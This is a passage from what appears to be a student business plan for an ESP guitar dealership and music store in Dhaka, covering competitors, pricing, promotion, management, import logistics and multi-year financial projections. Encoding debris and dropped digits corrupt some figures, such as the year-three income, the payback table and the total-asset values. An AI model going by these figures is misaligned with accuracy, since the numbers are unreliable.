opportunity of profitable venture. †¢ The market is not saturated yet. †¢ Low burden of government rules and regulations So, the threats from new entrants are high in this industry. Threats of Substitute: †¢ Substitute products are limited and weak. †¢ Substitute products like other recreational products are not completely substitutable. So, threat of substitute products is quite low even do not exist at all. Rivalry among Competitors: †¢ A very few established stores and dealers are present. Most of the other stores are discrete and unstable, which usually sell those regional instruments like Harmoniums, Tablas. †¢ The cost of production is quite high. †¢ Products are rated at fixed price. †¢ Switching between products is costly. So rivalry among the existing competitors is moderate. It is not extreme because of less switching power of customers and fixed price, and also not much less because of the low number of dealers. Competition Analysis After doing some research we have come with some direct, indirect and also some future competitors of our music store. major ones are identified. 1. Existing huge music stores : In Dhaka city, there are 4-5 huge music stores which are OMNI, World music, Golden music and Music melody. They all have an approximate monthly sale of 10-15 lacs. Among our main competitor OMNI is our main concern. OMNI is the dealer of YAMAHA guitars and Pearl drums, which cost them a huge amount. Their initial investment was 2-3 crore, they business is mainly equity based, they didn’t take any loan because OMNI music store is a part of the huge business group. They reached their break even 4. 5 years. Demand for their music instrument is stable but on some special occasions their sales increase like on valentines day, pahela baishakh, independence day etc. Key success factor are commitment, honesty, right price quality and loyal customer. The other huge music stores mentioned earlier like golden music, music melody, world music whose business share is almost similar. They have a monthly sale of 10-12 lacs. They also bought many different brands that differentiate their music store. Music melody produce some local instruments but in a small scale. [pic] Competitors Position based on Sales 1. Existing small music stores: There are some small competitors in this market. They mainly get their product from the big competitors because investment costs need a huge amount of money to bring instruments. They also sale regionally produced instruments like harmonium, bahala etc. This kind of stores is also our concern because some of them may have the potential to grow as a huge competitor. 2. Future opening of music store: Music appeals everyone in the world. Music industry in Bangladesh is growing at a steady rate. Because now days Nokia, Benson & hedges etc are coming up with competition to bring out the talents from our country. This gives even small time musicians grow in confidence to buy some heavy instruments. Also music TV programs in all channels and music schools are establishing in Dhaka this also demand music instruments. So as demand for music instruments are growing, the more there will be openings of music store. Competitive advantage: In order to sustain and expand in this competitive marketplace we will take effective decision and implement them. Our store is providing the product of ESP. We will provide brand uniqueness. Also we will offer some after sale service to our customers who will buy expensive instruments costing more than 50,000tk. We are also providing some different service like: an exchange offer of your instrument with similar instrument but this would not be similar for everyone like we will check the instrument first that decide whether it will be profitable to exchange so that after repairing we can sell it again a good price also sometimes we may require some money with the instrument depending on the product. We will also repair different instruments in our store with a minimum charge of starting tk. 1000. Also we will provide customers with the service of customizing the instruments like color requirements, putting a tattoo or art, band logo on their guitar or other instruments charging differently depending on instrument. These services make our stores different from others. Marketing Plan Pricing Policy: For pricing, we divided our products in two segments. For ESP brand items, we are going to follow cost based pricing policy and for other products, we are going to follow competitor based pricing policy. These pricing strategies will help us sustain in the market, as well as make profit. Cost Based Pricing Policy: In this policy, we would consider all our expenses. These include transportation cost, utility cost, rental cost, promotional cost, storage cost etc. Once we find out all our expenses, we would divide it by the number of instruments kept in our store. This will give us expense per unit. After that, we would add the cost of the instrument itself with the expenses per unit. Then we will add 30% profit margin. An example is shown below: Selling price = Total Cost / ((100-margin) / 100) If Total Cost of a guitar is TK 70,000, then by applying this formula, we get: Selling price = 70, 000 / ((100 – 30) / 100) = TK 100,000 Competitor based pricing policy: This is a method where we will use prices of the competing products as a benchmark instead of considering own costs or the customer demand. This will be applicable for products that my competitors are offering as well. For example guitar accessories, amps, keyboard, piano, drums etc. The reason for selecting this strategy is because it would be really difficult to survive in price wars with my competitors. They have more experience and they are also in this business for a longer time. As a result they have already covered a lot of their investment. This means they can offer products at a lower price than us. Place: Our store will be located in Panthopath, Dhaka. It will be situated near Bashundhara City. Reasons for selecting this place are as follows: -some of my competitors are located here. This means customers will prefer this place, since they have many options. since our store will be outside Bashundhara City, we can operate at a comparatively lower rent. -Panthopath is lucrative place for conducting business. -as there is sufficient transportation facility, people can easily visit our store. -Since there are some jamming pads located near our store, people are likely to pay us a visit. After some years, we are planning to expand our business to some other locations. One of our priorities will be Uttara. This is because looking at the current market scenario, there are no musical stores in Uttara till now. Product: Our main focus is ESP guitars because ESP guitars are unique and are preferred by a lot of the younger generation. They like its exceptional designs. Some of the designs available are X-shaped, V-shaped etc. Besides that, the sound of ESP guitars is good for both riffs and lead guitar. For other guitars, it is tough to match the price of ESP, providing the same quality. Promotion Strategy Our  critical marketing program will be the grand opening, so we will place our initial advertising to give the greatest coverage. Our specific goal for the event is to create a big buzz for the local music community has ever seen regarding a new store. We will target our desired customer base using radio, newspapers, hand leaflet, banners and word of mouth. At present, radio is the easiest way to reach musicians for the simple reason that the love of music is what drives us to become musicians. Newsprint reaches a large portion of the public, letting them see what  we have to  offer before making a trip to the store. Large billboard and banners in different areas and hand leaflets are also very useful way to inform the people about our promotional activities. We will also have regular advertisement in different youth oriented magazines. Another promotional plan is to telecast our advertisements in different area based local cable channels. This is also a useful tool to inform people in economic way. Word of mouth is the one area we really hope to see develop, as a personal endorsement by a customer is worth more to us than what any advertisement can achieve. Distribution: We will follow the following strategies: 1. Direct purchases from manufacturers – generally the best price, but higher minimum orders. 2. Purchases from national distributors – large selections, good prices. 3. Purchases from regional distributors – small selection, average pricing. Management team We believe an efficient management team can increase the productivity of company. And a productive workforce can be an asset for a company and it can provide the company with a competitive advantage over the major players of the industry. We have started this business on the basis of partnership rules and regulation. There are seven partners and we all are the students of North South University. We know each other for a long period of time and we believe with our co operative effort we can make this company a very successful one. As we all are partners of the company and have contributed equally to the initial investment so all of us will be included in the decision making process. But for instant decision making we have prepared an organ gram. |Chairman |M. Riaz Mahmud | |CFO |M. Nahian Morshed | |Board of Directors |M. Faizur Rahman | |Board of Directors |Mustafa Waki Chodhury | |Board of Directors |Mohona Khan | |Board of Directors |M. Shahriar Firoz | |Board of Directors |Rizon Minhazur Rahman | We are hiring 5 sales executives, who will run our store. Our requirement is H. S. C. passed, fluent in English and have basic computer literacy knowledge. We will hire persons who are with good interpersonal skill and can convince the customers easily to buy instrument and behave well with the customer so that they remain loyal and happy with our service. Delivering Process Our business is an import oriented business. So, we’ll have to wholly depend on shipping for the delivery process and also container trucks will also be involved to deliver the instruments as the port is situated in Chittagong and we’ll have to transport the items to Dhaka. Customers will have the responsibility to transport their bought product to their favored destination. For payment to the parent company we will follow the Letter Of Credit (LC) system. In this system, we will get affiliated with an international bank which have subsidiary in Bangladesh. The international bank will have to be selected as the parent company might have trust issues and the international renowned bank will help us gain reliability. As soon as we receive the products, we will issue an LC. As our chosen company ESP is an established brand worldwide, they will take responsibility for the shipments. We had to get a license of ESP to get their permission of selling their product. The licensing took a great toll of our investment as we had to pay BDT. †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ to ESP. According to the license, we need to achieve some requirements which are their benchmarks. †¢ We had to show projected sales and their requirement was to achieve an average of BDT. 50 lakh mark yearly within 5 years. †¢ We had to show them our work on balance sheet, income statement and break even analysis as they were looking into our business’ feasibility. †¢ Also they checked the location of the store to find out if enough demand will be generated from the â€Å"place† factor of four P’s. We reached an agreement that we will to train our servicing employees according to their training methods to create the same environment and to comply with their customer service. †¢ We also had to show them an overview of the demand of their brand ESP in Bangladesh. Financial Projections Income Statement Our income statement is initiated with finding out the sales of first month and it is utterly based on our surveys. We first found out the total market value in terms of BDT. We went through our surveys and found out the competitors’ yearly sales and the total represents the presumable market size. As we are in the initiation stage we are assuming to get a hold of no more than three percent (3%) of the market size. We did a sales forecast for every month. For starters, we assumed a growth rate of 0. 5 percent for the first three months which gradually increased to 1 percent and later we ended the first year with a growth rate of 2% in the last three months. The increasing growth rate will be as a consequence of our extensive marketing policies. The first year’s growth rate being only 12. 65% percent, we had to incur losses in every month. The econd year, the yearly growth rate we have assumed will be 12. 68% owing to the steady growth rate every month. And third year we expect a growth rate of 16% approximately. For our cost of goods sold, we presumed forty percent (40%) of our sales and we counted our sales discount to be 2. 5%. Another variable cost is sales commission of one percent (1%) of sales which is categorized as selling expenses. Fixed costs include both selli ng and administrative expenses. Selling expenses include store salaries of BDT. 20,000 per month, rent of BDT. 50,000 per month, advertising expenses of BDT. 5,000 per month, utility of BDT. 5,000 per month and depreciation expenses of BDT. 250 per month. The administrative fixed costs consist of salaries which is monthly BDT. 10,000, utility monthly 2,000, insurance monthly BDT. 2,000 and depreciation expenses of BDT. 200 per month. We expect to reach the break even in 6. 62 years and we have shown income statements for 10 years just for getting an idea of the net income in following years. Sensitivity: We have shown sensitivity analysis changing the sales revenue by five percent in both directions. For worst case scenario with 5% downfall in sales, our net loss in first year will rise by more than BDT. 70,000. In the most likely case, we also incur a loss of BDT. 105,000 approximately and best case scenarios with 5% sales increment, net profit will be almost BDT. 33,000. For 2nd year, most likely case scenario will produce a profit of BDT. 342,566 and worst case scenario will produce profit of BDT. 155,858. But, the best case scenario will generate less net income than most likely case because of tax rules. The 3rd year most likely case will see us earn a net income of BDT. 04,398. We have also assumed the worst case and best cases and if that happens we will have net income of BDT 508,314 and BDT 700,483 respectively. Cash-Flow Statement Cash flow statement is the way of constructing the cash inflows and outflows according to type of activities such as operating, investing and financing activities. It gives us the idea about if the company will be profitable over the years by generating sufficient cash and if it will be able to pay off its debt. We have done cash flow statements for 8 years and those will be included in the appendices. For our cash flows, we followed direct method starting with the operating activities which includes inflow from sales revenue and outflows from different expenses like cash paid to suppliers, salaries expenses, rent expenses, sales commission, advertising expenses etc. in investing activities, outflows includes BDT. 10,000,000 of purchasing of assets, other investment of BDT. 1,000,000 and purchasing of contract of rent BDT. 1,000,000 and there are no inflows. Financing activities has inflows form loan and owners investment worth BDT. 8,000,000 and BDT. 7,000,000 respectively. Cash outflows from financing includes loan payment of BDT. 171,438 per month. The payment of installment continues till year 7 when we paid off our debt. Our total cash flow will be negative till year 4, first quarter and since then its uprising. But we maintained a cash balance from the beginning generated from loan which will see us through these periods. From first year, our cash balance is reduced to BDT. 2,004,607 from BDT. 2,910,411 which is the starting balance of the first month. Second year it is reduce to BDT. 1,398,301 and by the end of year three the cash balance will be BDT. 20,853. Sensitivity: The sensitivity analysis of every year attached to appendices will show how much the expected cash flows can differ when we consider worst possible and best possible cases. The first year’s best case is likely to reduce the outflows by about BDT. 120,000 but the worst scenario will increase outflows by about BDT. 117,000. the second and third years’ sensitivity anal ysis shows the same effect reducing or increasing the cash outflows in best and worst cases respectively. Balance Sheet Our balance sheet shows how much the venture capitalist can depend on our business. In the balance sheet we tried to figure out the total asset each year as the first objective of a business is to maximize the value of its assets. We also showed if the assets matched the liabilities. Our total assets included cash, inventories, receivables, other current assets categorized as current assets and long term assets consists of non current assets, accumulated depreciation etc. Current liabilities are payables, short term debt and others while non current liabilities are long term debt and others and these two makes up the liabilities part. Equity has only common equity invested by the owners. For most of these items, we tried to maintain a specific percentage of sales such as for inventories, we maintained 20. 69% of sales, 40. 14% of sales as short term debt etc because we know these items are vulnerable to the change of sales and move in the same direction. Our first year’s total assets are BDT. 17,350,008 while the next two years it went down to BDT. 16,912,962 and BDT. 16,623,039. This can be associated with the increment in negative cash flows or increase in outflows. But it’s uprising from then as we expect it to rise as high as BDT. 5,481,609 in eight years. A significant change occurs in year seven as we reach break even; our total assets rises from about 20 million to above 24. 5 million. This is because of the rise in cash balance that year after recuperating the total investment. Sensitivity: By changing the sales by 5% positively and negatively, we found out the best and worst case scenarios which can contribute to the change of our total assets. Again, as we are looking to maximize the value of our assets, we have to be conscious about what the best and worst situations can do to our business. For the first two years, the worst case scenario doesn’t do much damage as the reductions in total assets are by about BDT. 50,000 from the most likely scenarios; BDT. 17,292,408 in first year and BDT. 16,846,620 in second year. While the best case scenarios in the first two years see our total assets to rise to BDT. 17,407,482 and BDT. 16,979,158. The third year the change about BDT. 75,000 in both cases as the best case scenario puts our total assets to BDT. 16,698,871 and the worst case to BDT. 16,547,041. For al these time, the increases and decreases in total assets are backed by the retained earnings portion of owner’s equity. Breakeven: |Pay Back | | | | | | | |Initial Investment | -15,000,000. 00 | | |Year 1 | 1,061,866. 91 | -13,938,133. 09 | |Year 2 | 1,450,954. 8 | -12,487,178. 20 | |Year 3 | 1,739,046. 20 | -10,748,132. 00 | |Year 4 | 2,119,043. 11 | -8,629,088. 89 | |Year 5 | 2,667,444. 37 | -5,961,644. 52 | |Year 6 | 3,328,314. 32 | -2,633,330. 20 | |Year 7 | 4,203,767. 76 | ,570,437. 55 | |Year 8 | 4,366,613. 47 | 5,937,051. 02 | | | | | | | 11,517. 17 | | | |228. 6438216 | | | |0. 26421429 | | |Pay back in years |6. 626421429 | | Exit Strategy: Our ongoing business is Musical instrument dealership. Our exit strategy is a mixture of liquidation and our own strategy. First we will liquidate some percentage of our assets. We are planning to sell those underperforming assets at a lower price and we will also invest some additional capital to establish a diversified service line. This will be actually a recording studio as we are planning to seize the opportunity created by lack of recording studio in Bangladesh. We are planning to open a recording studio which will contribute to the uprising music scenario in Bangladesh. Due to lack of quality music studios, we believe our exit plan from musical instrument dealership to recording studio will shift our position from decay to a growing stage in company life cycle. It will be our long term plan because we do not want to loose the face value of the product. Initial Investment: Rent (4 months)= Tk. 200,000 Equipments (Estimated Average per unit) Electric Guitar(5*30,000) |150,000 | |Bass Guitar(5*30,000) |150,000 | |Acoustic Guitar(20*3000) |60,000 | |Piano(2*100,000) |200,000 | |Keyboard(10*20,000) |200,000 | |Drums(5*30,000) |150,000 | |Mixer(3*50,000) |150,000 | |Microphone(5*10,000) 50,000 | |Processor(5*20,000) |100,000 | |Accessories(Strings, Cables, Tuners etc) |90,0000 | |Other Equipments |100, 000 | |Total |1,400,000 | Estimated Initial Marketing Cost=300,000 Furniture=100,000 Reserve For Cash Requirements=3,000,000 Dealership Cost=10,000,000 Total Initial Investment=15,000,000 Conclusion We have worked on this business plan for the last three months and gathered all the related information about the music industry. After analyzing all the data we have came up with the idea investing in this business can be really challenging but profitable. If we can survive through the initial trouble we can diversify our business by investing in different regions of Bangladesh. In the era of communication people are very fond of the creative ideas and we believe our business is creative and unique enough to attract the potential customers. Reference: www. google. com www. yahoo. com acct. tamu. edu/smith/acctwebs. htm Haque, Akkas & Ashif (2008) ‘Three taxes of Bangladesh’